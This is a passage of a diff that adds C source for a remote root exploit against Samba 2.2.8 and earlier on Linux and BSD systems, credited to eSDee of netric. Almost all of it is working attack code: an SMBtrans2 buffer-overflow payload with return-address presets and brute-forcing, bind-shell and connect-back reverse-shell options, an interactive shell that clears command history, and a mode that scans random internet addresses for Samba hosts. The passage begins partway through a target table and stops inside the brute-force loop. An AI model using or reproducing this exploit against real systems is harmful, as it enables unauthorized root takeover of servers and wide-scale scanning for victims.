+ { "samba-2.2.x - FreeBSD 5.0 ", 0xbfbff374, bsd_bindcode, 1 },
168
+ { "samba-2.2.x - FreeBSD 4.x ", 0xbfbff374, bsd_bindcode, 1 },
169
+ { "samba-2.2.x - NetBSD 1.6 ", 0xbfbfd5d0, bsd_bindcode, 1 },
170
+ { "samba-2.2.x - NetBSD 1.5 ", 0xbfbfd520, bsd_bindcode, 1 },
171
+ { "samba-2.2.x - OpenBSD 3.2 ", 0x00159198, bsd_bindcode, 2 },
172
+ { "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode, 2 },
173
+ { "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode, 2 },
174
+ { "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode, 2 },
175
+ { "Crash (All platforms) ", 0xbade5dee, linux_bindcode, 0 },
176
+ };
177
+
178
+ void shell();
179
+ void usage();
180
+ void handler();
181
+
182
+ int is_samba(char *ip, unsigned long time_out);
183
+ int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
184
+ int read_timer(int fd, unsigned int time_out);
185
+ int write_timer(int fd, unsigned int time_out);
186
+ int start_session(int sock);
187
+ int exploit_normal(int sock, unsigned long ret, char *shellcode);
188
+ int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);
189
+
190
+ void usage(char *prog)
191
+ {
192
+ fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"
193
+ "-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"
194
+ "-B <step> bruteforce steps (default = 300)\n"
195
+ "-c <ip address> connectback ip address\n"
196
+ "-C <max childs> max childs for scan/bruteforce mode (default = 40)\n"
197
+ "-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)\n"
198
+ "-f force\n"
199
+ "-p <port> port to attack (default = 139)\n"
200
+ "-r <ret> return address\n"
201
+ "-s scan mode (random)\n"
202
+ "-S <network> scan mode\n"
203
+ "-t <type> presets (0 for a list)\n"
204
+ "-v verbose mode\n\n", prog);
205
+
206
+ exit(1);
207
+ }
208
+
209
+ int is_samba(char *ip, unsigned long time_out)
210
+ {
211
+ char
212
+ nbtname[]= /* netbios name packet */
213
+ {
214
+ 0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
215
+ 0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
216
+ 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
217
+ 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
218
+ 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
219
+ 0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
220
+ 0x00,0x01
221
+ };
222
+
223
+ unsigned char recv_buf[1024];
224
+ unsigned char *ptr;
225
+
226
+ int i = 0;
227
+ int s = 0;
228
+
229
+ unsigned int total = 0;
230
+
231
+ if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;
232
+
233
+ if(Connect(s, ip, 137, time_out) == -1) {
234
+ close(s);
235
+ return -1;
236
+ }
237
+
238
+ memset(recv_buf, 0x00, sizeof(recv_buf));
239
+
240
+ if(write_timer(s, time_out) == 1) {
241
+ if (write(s, nbtname, sizeof(nbtname)) <= 0) {
242
+ close(s);
243
+ return -1;
244
+ }
245
+ }
246
+
247
+ if (read_timer(s, time_out) == 1) {
248
+ if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
249
+ close(s);
250
+ return -1;
251
+ }
252
+
253
+ ptr = recv_buf + 57;
254
+ total = *(ptr - 1); /* max names */
255
+
256
+ while(ptr < recv_buf + sizeof(recv_buf)) {
257
+ ptr += 18;
258
+ if (i == total) {
259
+
260
+ ptr -= 19;
261
+
262
+ if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 && *(ptr + 3) == 0x00 &&
263
+ *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {
264
+ close(s);
265
+ return 0;
266
+ }
267
+
268
+ close(s);
269
+ return 1;
270
+ }
271
+
272
+ i++;
273
+ }
274
+
275
+ }
276
+ close(s);
277
+ return -1;
278
+ }
279
+
280
+ int Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
281
+ {
282
+ /* ripped from no1 */
283
+
284
+ int flags;
285
+ int select_status;
286
+ fd_set connect_read, connect_write;
287
+ struct timeval timeout;
288
+ int getsockopt_length = 0;
289
+ int getsockopt_error = 0;
290
+ struct sockaddr_in server;
291
+ bzero(&server, sizeof(server));
292
+ server.sin_family = AF_INET;
293
+ inet_pton(AF_INET, ip, &server.sin_addr);
294
+ server.sin_port = htons(port);
295
+
296
+ if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
297
+ close(fd);
298
+ return -1;
299
+ }
300
+
301
+ if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
302
+ close(fd);
303
+ return -1;
304
+ }
305
+
306
+ timeout.tv_sec = time_out;
307
+ timeout.tv_usec = 0;
308
+ FD_ZERO(&connect_read);
309
+ FD_ZERO(&connect_write);
310
+ FD_SET(fd, &connect_read);
311
+ FD_SET(fd, &connect_write);
312
+
313
+ if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
314
+ if(errno != EINPROGRESS) {
315
+ close(fd);
316
+ return -1;
317
+ }
318
+ }
319
+ else {
320
+ if(fcntl(fd, F_SETFL, flags) < 0) {
321
+ close(fd);
322
+ return -1;
323
+ }
324
+
325
+ return 1;
326
+
327
+ }
328
+
329
+ select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);
330
+
331
+ if(select_status == 0) {
332
+ close(fd);
333
+ return -1;
334
+
335
+ }
336
+
337
+ if(select_status == -1) {
338
+ close(fd);
339
+ return -1;
340
+ }
341
+
342
+ if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
343
+ if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write))
344
+ {
345
+ getsockopt_length = sizeof(getsockopt_error);
346
+
347
+ if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
348
+ errno = ETIMEDOUT;
349
+ close(fd);
350
+ return -1;
351
+ }
352
+
353
+ if(getsockopt_error == 0) {
354
+ if(fcntl(fd, F_SETFL, flags) < 0) {
355
+ close(fd);
356
+ return -1;
357
+ }
358
+ return 1;
359
+ }
360
+
361
+ else {
362
+ errno = getsockopt_error;
363
+ close(fd);
364
+ return (-1);
365
+ }
366
+
367
+ }
368
+ }
369
+ else {
370
+ close(fd);
371
+ return 1;
372
+ }
373
+
374
+ if(fcntl(fd, F_SETFL, flags) < 0) {
375
+ close(fd);
376
+ return -1;
377
+ }
378
+ return 1;
379
+ }
380
+
381
+ int read_timer(int fd, unsigned int time_out)
382
+ {
383
+
384
+ /* ripped from no1 */
385
+
386
+ int flags;
387
+ int select_status;
388
+ fd_set fdread;
389
+ struct timeval timeout;
390
+
391
+ if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
392
+ close(fd);
393
+ return (-1);
394
+ }
395
+
396
+ if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
397
+ close(fd);
398
+ return (-1);
399
+ }
400
+
401
+ timeout.tv_sec = time_out;
402
+ timeout.tv_usec = 0;
403
+ FD_ZERO(&fdread);
404
+ FD_SET(fd, &fdread);
405
+ select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
406
+
407
+ if(select_status == 0) {
408
+ close(fd);
409
+ return (-1);
410
+ }
411
+
412
+ if(select_status == -1) {
413
+ close(fd);
414
+ return (-1);
415
+ }
416
+
417
+ if(FD_ISSET(fd, &fdread)) {
418
+
419
+ if(fcntl(fd, F_SETFL, flags) < 0) {
420
+ close(fd);
421
+ return -1;
422
+ }
423
+
424
+ return 1;
425
+
426
+ }
427
+ else {
428
+ close(fd);
429
+ return 1;
430
+
431
+ }
432
+ }
433
+
434
+ int write_timer(int fd, unsigned int time_out)
435
+ {
436
+
437
+ /* ripped from no1 */
438
+
439
+ int flags;
440
+ int select_status;
441
+ fd_set fdwrite;
442
+ struct timeval timeout;
443
+
444
+ if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
445
+ close(fd);
446
+ return (-1);
447
+ }
448
+
449
+ if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
450
+ close(fd);
451
+ return (-1);
452
+ }
453
+
454
+ timeout.tv_sec = time_out;
455
+ timeout.tv_usec = 0;
456
+ FD_ZERO(&fdwrite);
457
+ FD_SET(fd, &fdwrite);
458
+
459
+ select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
460
+
461
+ if(select_status == 0) {
462
+ close(fd);
463
+ return -1;
464
+ }
465
+
466
+ if(select_status == -1) {
467
+ close(fd);
468
+ return -1;
469
+ }
470
+
471
+ if(FD_ISSET(fd, &fdwrite)) {
472
+ if(fcntl(fd, F_SETFL, flags) < 0) {
473
+ close(fd);
474
+ return -1;
475
+ }
476
+ return 1;
477
+ }
478
+ else {
479
+ close(fd);
480
+ return -1;
481
+ }
482
+ }
483
+
484
+
485
+ void shell(int sock)
486
+ {
487
+ fd_set fd_read;
488
+ char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n";
489
+ int n;
490
+
491
+ FD_ZERO(&fd_read);
492
+ FD_SET(sock, &fd_read);
493
+ FD_SET(0, &fd_read);
494
+
495
+ send(sock, cmd, strlen(cmd), 0);
496
+
497
+ while(1) {
498
+ FD_SET(sock,&fd_read);
499
+ FD_SET(0,&fd_read);
500
+
501
+ if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
502
+
503
+ if (FD_ISSET(sock, &fd_read)) {
504
+
505
+ if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
506
+ fprintf(stderr, "EOF\n");
507
+ exit(2);
508
+ }
509
+
510
+ if (write(1, buff, n) < 0) break;
511
+ }
512
+
513
+ if (FD_ISSET(0, &fd_read)) {
514
+
515
+ if((n = read(0, buff, sizeof(buff))) < 0){
516
+ fprintf(stderr, "EOF\n");
517
+ exit(2);
518
+ }
519
+
520
+ if (send(sock, buff, n, 0) < 0) break;
521
+ }
522
+
523
+ usleep(10);
524
+ }
525
+
526
+ fprintf(stderr, "Connection lost.\n\n");
527
+ exit(0);
528
+ }
529
+
530
+ void handler()
531
+ {
532
+ int sock = 0;
533
+ int i = 0;
534
+ OWNED = 1;
535
+
536
+ for (i = 0; i < 100; i++)
537
+ if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);
538
+
539
+ if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
540
+ close(sock);
541
+ exit(1);
542
+ }
543
+
544
+ if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
545
+ fprintf(stdout, "+ Worked!\n"
546
+ "--------------------------------------------------------------\n");
547
+ shell(sock);
548
+ close(sock);
549
+ }
550
+
551
+
552
+ }
553
+
554
+ int start_session(int sock)
555
+ {
556
+ char buffer[1000];
557
+ char response[4096];
558
+ char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
559
+ char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
560
+ "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
561
+
562
+ NETBIOS_HEADER *netbiosheader;
563
+ SMB_HEADER *smbheader;
564
+
565
+ memset(buffer, 0x00, sizeof(buffer));
566
+
567
+ netbiosheader = (NETBIOS_HEADER *)buffer;
568
+ smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
569
+
570
+ netbiosheader->type = 0x00; /* session message */
571
+ netbiosheader->flags = 0x00;
572
+ netbiosheader->length = htons(0x2E);
573
+
574
+ smbheader->protocol[0] = 0xFF;
575
+ smbheader->protocol[1] = 'S';
576
+ smbheader->protocol[2] = 'M';
577
+ smbheader->protocol[3] = 'B';
578
+ smbheader->command = 0x73; /* session setup */
579
+ smbheader->flags = 0x08; /* caseless pathnames */
580
+ smbheader->flags2 = 0x01; /* long filenames supported */
581
+ smbheader->pid = getpid() & 0xFFFF;
582
+ smbheader->uid = 100;
583
+ smbheader->mid = 0x01;
584
+
585
+ memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);
586
+
587
+ if(write_timer(sock, 3) == 1)
588
+ if (send(sock, buffer, 50, 0) < 0) return -1;
589
+
590
+ memset(response, 0x00, sizeof(response));
591
+
592
+ if (read_timer(sock, 3) == 1)
593
+ if (read(sock, response, sizeof(response) - 1) < 0) return -1;
594
+
595
+ netbiosheader = (NETBIOS_HEADER *)response;
596
+ smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
597
+
598
+ if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");
599
+
600
+ netbiosheader = (NETBIOS_HEADER *)buffer;
601
+ smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
602
+
603
+ memset(buffer, 0x00, sizeof(buffer));
604
+
605
+ netbiosheader->type = 0x00; /* session message */
606
+ netbiosheader->flags = 0x00;
607
+ netbiosheader->length = htons(0x3C);
608
+
609
+ smbheader->protocol[0] = 0xFF;
610
+ smbheader->protocol[1] = 'S';
611
+ smbheader->protocol[2] = 'M';
612
+ smbheader->protocol[3] = 'B';
613
+ smbheader->command = 0x70; /* start connection */
614
+ smbheader->pid = getpid() & 0xFFFF;
615
+ smbheader->tid = 0x00;
616
+ smbheader->uid = 100;
617
+
618
+ memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);
619
+
620
+ if(write_timer(sock, 3) == 1)
621
+ if (send(sock, buffer, 64, 0) < 0) return -1;
622
+
623
+ memset(response, 0x00, sizeof(response));
624
+
625
+ if (read_timer(sock, 3) == 1)
626
+ if (read(sock, response, sizeof(response) - 1) < 0) return -1;
627
+
628
+ netbiosheader = (NETBIOS_HEADER *)response;
629
+ smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
630
+
631
+ if (netbiosheader->type != 0x00) return -1;
632
+
633
+ return 0;
634
+ }
635
+
636
+ int exploit_normal(int sock, unsigned long ret, char *shellcode)
637
+ {
638
+
639
+ char buffer[4000];
640
+ char exploit_data[] =
641
+ "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
642
+ "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
643
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
644
+ "\x00\x00\x00\x90";
645
+
646
+ int i = 0;
647
+ unsigned long dummy = ret - 0x90;
648
+
649
+ NETBIOS_HEADER *netbiosheader;
650
+ SMB_HEADER *smbheader;
651
+
652
+ memset(buffer, 0x00, sizeof(buffer));
653
+
654
+ netbiosheader = (NETBIOS_HEADER *)buffer;
655
+ smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
656
+
657
+ netbiosheader->type = 0x00; /* session message */
658
+ netbiosheader->flags = 0x04;
659
+ netbiosheader->length = htons(2096);
660
+
661
+ smbheader->protocol[0] = 0xFF;
662
+ smbheader->protocol[1] = 'S';
663
+ smbheader->protocol[2] = 'M';
664
+ smbheader->protocol[3] = 'B';
665
+ smbheader->command = 0x32; /* SMBtrans2 */
666
+ smbheader->tid = 0x01;
667
+ smbheader->uid = 100;
668
+
669
+ memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
670
+
671
+ buffer[1096] = 0xEB;
672
+ buffer[1097] = 0x70;
673
+
674
+ for (i = 0; i < 4 * 24; i += 8) {
675
+ memcpy(buffer + 1099 + i, &dummy, 4);
676
+ memcpy(buffer + 1103 + i, &ret, 4);
677
+ }
678
+
679
+ memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
680
+ exploit_data, sizeof(exploit_data) - 1);
681
+ memcpy(buffer + 1800, shellcode, strlen(shellcode));
682
+
683
+ if(write_timer(sock, 3) == 1) {
684
+ if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
685
+ return 0;
686
+ }
687
+
688
+ return -1;
689
+ }
690
+
691
+ int exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
692
+ {
693
+ char buffer[4000];
694
+
695
+ char exploit_data[] =
696
+ "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
697
+ "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
698
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
699
+ "\x00\x00\x00\x90";
700
+
701
+ int i = 0;
702
+ unsigned long dummy = ret - 0x30;
703
+ NETBIOS_HEADER *netbiosheader;
704
+ SMB_HEADER *smbheader;
705
+
706
+ memset(buffer, 0x00, sizeof(buffer));
707
+
708
+ netbiosheader = (NETBIOS_HEADER *)buffer;
709
+ smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
710
+
711
+ netbiosheader->type = 0x00; /* session message */
712
+ netbiosheader->flags = 0x04;
713
+ netbiosheader->length = htons(2096);
714
+
715
+ smbheader->protocol[0] = 0xFF;
716
+ smbheader->protocol[1] = 'S';
717
+ smbheader->protocol[2] = 'M';
718
+ smbheader->protocol[3] = 'B';
719
+ smbheader->command = 0x32; /* SMBtrans2 */
720
+ smbheader->tid = 0x01;
721
+ smbheader->uid = 100;
722
+
723
+ memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
724
+
725
+ for (i = 0; i < 4 * 24; i += 4)
726
+ memcpy(buffer + 1131 + i, &dummy, 4);
727
+
728
+ memcpy(buffer + 1127, &ret, 4);
729
+
730
+ memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
731
+ exploit_data, sizeof(exploit_data) - 1);
732
+
733
+ memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
734
+
735
+ if(write_timer(sock, 3) == 1) {
736
+ if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
737
+ return 0;
738
+ }
739
+
740
+ return -1;
741
+ }
742
+
743
+
744
+ int main (int argc,char *argv[])
745
+ {
746
+ char *shellcode = NULL;
747
+ char scan_ip[256];
748
+
749
+ int brute = -1;
750
+ int connectback = 0;
751
+ int force = 0;
752
+ int i = 0;
753
+ int ip1 = 0;
754
+ int ip2 = 0;
755
+ int ip3 = 0;
756
+ int ip4 = 0;
757
+ int opt = 0;
758
+ int port = 139;
759
+ int random = 0;
760
+ int scan = 0;
761
+ int sock = 0;
762
+ int sock2 = 0;
763
+ int status = 0;
764
+ int type = 0;
765
+ int verbose = 0;
766
+
767
+ unsigned long BRUTE_DELAY = 100000;
768
+ unsigned long ret = 0x0;
769
+ unsigned long MAX_CHILDS = 40;
770
+ unsigned long STEPS = 300;
771
+
772
+ struct hostent *he;
773
+
774
+ fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"
775
+ "--------------------------------------------------------------\n");
776
+
777
+ while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
778
+ switch(opt)
779
+ {
780
+ case 'b':
781
+ brute = atoi(optarg);
782
+ if ((brute < 0) || (brute > 3)) {
783
+ fprintf(stderr, "Invalid platform.\n\n");
784
+ return -1;
785
+ }
786
+ break;
787
+ case 'B':
788
+ STEPS = atoi(optarg);
789
+ if (STEPS == 0) STEPS++;
790
+ break;
791
+ case 'c':
792
+ sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
793
+ connectback = 1;
794
+
795
+ if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
796
+ fprintf(stderr, "Invalid IP address.\n\n");
797
+ return -1;
798
+ }
799
+
800
+ linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;
801
+ linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;
802
+ linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;
803
+ linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;
804
+
805
+ break;
806
+ case 'C':
807
+ MAX_CHILDS = atoi(optarg);
808
+ if (MAX_CHILDS == 0) {
809
+ fprintf(stderr, "Invalid number of childs.\n");
810
+ return -1;
811
+ }
812
+
813
+ if (MAX_CHILDS > 99) {
814
+ fprintf(stderr, "Too many childs, using 99. \n");
815
+ MAX_CHILDS = 99;
816
+ }
817
+
818
+ break;
819
+ case 'd':
820
+ BRUTE_DELAY = atoi(optarg);
821
+ break;
822
+ case 'f':
823
+ force = 1;
824
+ break;
825
+ case 'p':
826
+ port = atoi(optarg);
827
+ if ((port <= 0) || (port > 65535)) {
828
+ fprintf(stderr, "Invalid port.\n\n");
829
+ return -1;
830
+ }
831
+ break;
832
+ case 'r':
833
+ ret = strtoul(optarg, &optarg, 16);
834
+ break;
835
+ case 's':
836
+ random = 1;
837
+ scan = 1;
838
+ break;
839
+ case 'S':
840
+ random = 0;
841
+ scan = 1;
842
+ sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
843
+ ip3--;
844
+ break;
845
+ case 't':
846
+ type = atoi(optarg);
847
+ if (type == 0 || type > sizeof(targets) / 16) {
848
+ for(i = 0; i < sizeof(targets) / 16; i++)
849
+ fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1, targets[i].type, (unsigned int) targets[i].ret);
850
+ fprintf(stderr, "\n");
851
+ return -1;
852
+ }
853
+ break;
854
+ case 'v':
855
+ verbose = 1;
856
+ break;
857
+ default:
858
+ usage(argv[0] == NULL ? "sambal" : argv[0]);
859
+ break;
860
+ }
861
+
862
+ }
863
+
864
+ if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0))
865
+ usage(argv[0] == NULL ? "sambal" : argv[0]);
866
+
867
+ if (scan == 1)
868
+ fprintf(stdout, "+ Scan mode.\n");
869
+ if (verbose == 1)
870
+ fprintf(stdout, "+ Verbose mode.\n");
871
+
872
+ if (scan == 1) {
873
+
874
+ srand(getpid());
875
+
876
+ while (1) {
877
+
878
+ if (random == 1) {
879
+ ip1 = rand() % 255;
880
+ ip2 = rand() % 255;
881
+ ip3 = rand() % 255; }
882
+ else {
883
+ ip3++;
884
+ if (ip3 > 254) { ip3 = 1; ip2++; }
885
+ if (ip2 > 254) { ip2 = 1; ip1++; }
886
+ if (ip1 > 254) exit(0);
887
+ }
888
+
889
+ for (ip4 = 0; ip4 < 255; ip4++) {
890
+ i++;
891
+ snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);
892
+ usleep(BRUTE_DELAY);
893
+
894
+ switch (fork()) {
895
+ case 0:
896
+ switch(is_samba(scan_ip, 2)) {
897
+ case 0:
898
+ fprintf(stdout, "+ [%s] Samba\n", scan_ip);
899
+ break;
900
+ case 1:
901
+ fprintf(stdout, "+ [%s] Windows\n", scan_ip);
902
+ break;
903
+ default:
904
+ break;
905
+ }
906
+
907
+ exit(0);
908
+ break;
909
+ case -1:
910
+ fprintf(stderr, "+ fork() error\n");
911
+ exit(-1);
912
+ break;
913
+ default:
914
+ if (i > MAX_CHILDS - 2) {
915
+ wait(&status);
916
+ i--;
917
+ }
918
+ break;
919
+ }
920
+ }
921
+
922
+ }
923
+
924
+ return 0;
925
+ }
926
+
927
+
928
+ he = gethostbyname(argv[optind]);
929
+
930
+ if (he == NULL) {
931
+ fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
932
+ return -1;
933
+ }
934
+
935
+ if (brute == -1) {
936
+
937
+ if (ret == 0) ret = targets[type - 1].ret;
938
+
939
+ shellcode = targets[type - 1].shellcode;
940
+
941
+ if (connectback == 1) {
942
+ fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n",
943
+ ip1, ip2, ip3, ip4);
944
+
945
+ switch(targets[type - 1].os_type) {
946
+ case 0: /* linux */
947
+ shellcode = linux_connect_back;
948
+ break;
949
+ case 1: /* FreeBSD/NetBSD */
950
+ shellcode = bsd_connect_back;
951
+ break;
952
+ case 2: /* OpenBSD */
953
+ shellcode = bsd_connect_back;
954
+ break;
955
+ case 3: /* OpenBSD 3.2 Non-exec stack */
956
+ shellcode = bsd_connect_back;
957
+ break;
958
+ }
959
+
960
+ }
961
+
962
+ if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
963
+ fprintf(stderr, "+ socket() error.\n");
964
+ return -1;
965
+ }
966
+
967
+ if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
968
+ fprintf(stderr, "+ socket() error.\n");
969
+ return -1;
970
+ }
971
+
972
+ memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
973
+ memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
974
+
975
+ addr1.sin_family = AF_INET;
976
+ addr1.sin_port = htons(port);
977
+ addr2.sin_family = AF_INET;
978
+ addr2.sin_port = htons(45295);
979
+
980
+ if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) {
981
+ fprintf(stderr, "+ connect() error.\n");
982
+ return -1;
983
+ }
984
+
985
+ if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);
986
+
987
+ if (force == 0) {
988
+
989
+ if (is_samba(argv[optind], 2) != 0) {
990
+ fprintf(stderr, "+ Host is not running samba!\n\n");
991
+ return -1;
992
+ }
993
+
994
+ fprintf(stderr, "+ Host is running samba.\n");
995
+ }
996
+
997
+ if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);
998
+
999
+ if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");
1000
+
1001
+ if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
1002
+ sleep(5);
1003
+ if (targets[type - 1].os_type != 2) {
1004
+ if (exploit_normal(sock, ret, shellcode) < 0) {
1005
+ fprintf(stderr, "+ Failed.\n");
1006
+ close(sock);
1007
+ }
1008
+ } else {
1009
+ if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1010
+ fprintf(stderr, "+ Failed.\n");
1011
+ close(sock);
1012
+ }
1013
+ }
1014
+
1015
+ sleep(2);
1016
+
1017
+ if (connectback == 0) {
1018
+ if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {
1019
+ fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");
1020
+
1021
+ return -1;
1022
+ }
1023
+
1024
+ fprintf(stdout, "--------------------------------------------------------------\n");
1025
+
1026
+ shell(sock2);
1027
+ close(sock);
1028
+ close(sock2);
1029
+ } else {
1030
+ fprintf(stdout, "+ Done...\n");
1031
+ close(sock2);
1032
+ close(sock);
1033
+ }
1034
+ return 0;
1035
+ }
1036
+
1037
+ signal(SIGPIPE, SIG_IGN);
1038
+ signal(SIGUSR1, handler);
1039
+
1040
+ switch(brute) {
1041
+ case 0:
1042
+ if (ret == 0) ret = 0xc0000000;
1043
+ shellcode = linux_bindcode;
1044
+ fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
1045
+ break;
1046
+ case 1:
1047
+ if (ret == 0) ret = 0xbfc00000;
1048
+ shellcode = bsd_bindcode;
1049
+ fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");
1050
+ break;
1051
+ case 2:
1052
+ if (ret == 0) ret = 0xdfc00000;
1053
+ shellcode = bsd_bindcode;
1054
+ fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");
1055
+ break;
1056
+ case 3:
1057
+ if (ret == 0) ret = 0x00170000;
1058
+ shellcode = bsd_bindcode;
1059
+ fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");
1060
+ break;
1061
+ }
1062
+
1063
+ memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
1064
+ memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
1065
+
1066
+ addr1.sin_family = AF_INET;
1067
+ addr1.sin_port = htons(port);
1068
+ addr2.sin_family = AF_INET;
1069
+ addr2.sin_port = htons(45295);
1070
+
1071
+ for (i = 0; i < 100; i++)
1072
+ childs[i] = -1;
1073
+ i = 0;
1074
+
1075
+ if (force == 0) {
1076
+ if (is_samba(argv[optind], 2) != 0) {
1077
+ fprintf(stderr, "+ Host is not running samba!\n\n");
1078
+ return -1;
1079
+ }
1080
+
1081
+ fprintf(stderr, "+ Host is running samba.\n");
1082
+ }
1083
+
1084
+ while (OWNED == 0) {
1085
+
1086
+ if (sock > 2) close(sock);
1087
+ if (sock2 > 2) close(sock2);
1088
+
1089
+ if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1090
+ if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1091
+ }
1092
+ else {
1093
+ ret -= STEPS;
1094
+ i++;
1095
+ }
1096
+
1097
+ if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
1098
+ if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1099
+
1100
+
1101
+ if ((ret & 0xff) == 0x00 && brute != 3) ret++;
